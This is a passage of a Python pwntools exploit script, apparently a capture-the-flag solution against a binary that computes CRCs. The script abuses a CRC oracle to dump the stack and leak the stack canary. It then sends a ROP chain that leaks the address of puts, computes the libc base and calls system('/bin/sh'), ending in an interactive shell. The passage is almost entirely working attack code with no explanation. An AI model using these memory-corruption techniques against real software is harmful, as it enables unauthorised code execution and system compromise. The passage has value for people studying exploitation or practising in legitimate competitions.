    p.recvuntil('What is the length of your data: ')
    p.sendline(str(length))
    p.recvuntil('bytes to process: ')
    p.sendline(data)
    p.recvuntil('CRC is: ')
    return int(p.recvline(), 16)

# dump stack
stack_dump = ''
for i in range(1, 100):
    value = crc(i, 'A' * 100)
    c = uncrc(value, prefix=stack_dump)
    if c is None:
        break
    stack_dump += c

log.info('stack dump:\n%s', fiddling.hexdump(stack_dump))

# find the addr of buffer
for index in range(len(stack_dump) / 4):
    addr = u32(stack_dump[index * 4:][: 4]) - 0x100
    addr = addr / 4 * 4
    if addr < 0x100: # small
        continue
    log.info('some addr: %#x', addr)

    for _ in range(16):
        if crc(16, 'A' * 100 + p32(addr)) == zlib.crc32('A' * 16) % 0x100000000:
            break
        addr += 0x20
    else:
        continue
    break
else:
    raise
while crc(16, 'A' * 100 + p32(addr - 4)) == zlib.crc32('A' * 16) % 0x100000000:
    addr -= 4
log.info('buffer addr: %#x', addr)

# leak the canary
canary = ''
for i in range(4):
    value = crc(1, 'A' * 100 + p32(addr + 104 + i))
    canary += uncrc(value)
canary = u32(canary)
log.info('canary: %#x', canary)

# leak got.puts and call system("/bin/sh");
p.recvuntil(' Choice: ')
payload = ''
payload += 'A' * 40
payload += p32(canary)
payload += 'A' * 8
payload += 'A' * 4 # ebx
payload += p32(puts_plt)
payload += p32(pop_ebp_ret)
payload += p32(puts_got)
payload += p32(gets_plt)
payload += p32(pop_ebp_ret)
payload += p32(addr)
payload += p32(addr) # addr
payload += 'A' * 4
payload += p32(addr + 12)
payload += '/bin/sh\0'
p.sendline(payload)
puts = u32(p.recvn(4))
log.info('puts: %#x', puts)
libc_base = puts - libc.symbols['puts']
log.info('libc base: %#x', libc_base)
system = libc_base + libc.symbols['system']
log.info('system: %#x', system)
p.sendline(p32(system))

# done
time.sleep(1)
p.sendline('id')
p.interactive()